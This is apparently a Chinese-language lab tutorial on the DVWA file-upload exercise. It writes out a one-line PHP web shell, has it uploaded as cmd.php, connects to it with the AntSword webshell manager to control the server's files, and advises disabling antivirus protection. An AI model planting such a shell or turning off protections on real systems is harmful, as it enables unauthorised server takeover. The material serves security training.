1、安裝使用蟻劍
https://blog.csdn.net/weixin_42474304/article/details/116376746

1、登陸dvwa,進入初級文件上傳，上傳一句話木馬文件cmd.php，

//cmd.php
<?php eval($_POST['ccit']); ?>
//eval: 執行命令的函數
//ccit:一句話木馬文件的參數

文件上傳成功，根據提示的上傳路徑得到完整url路徑http://192.xx.xx.xx/dvwa/hackable/uploads/cmd.php
2、打開中國蟻劍
頁面空白處右鍵-添加數據，如圖
進入下列頁面，填寫url和連接密碼，其他選擇默認
url為：http://192.xx.xx.xx/dvwa/hackable/uploads/cmd.php
連接密碼為：一句話木馬文件中引號里的內容-ccit

填寫完成后，點擊測試連接，若顯示成功，連接成功時，此時可以將該數據進行添加

完成后，中國蟻劍的主頁面出現一條記錄，雙擊該記錄，即可打開文件管理界面，如圖


即：上傳一句話木馬文件后，蟻劍連接服務器，管理服務器文件件系統等，成功實現了文件上傳攻擊

特別注意： 滲透測試過程中，注意關閉”病毒和威脅防護“或回復被隔離的文件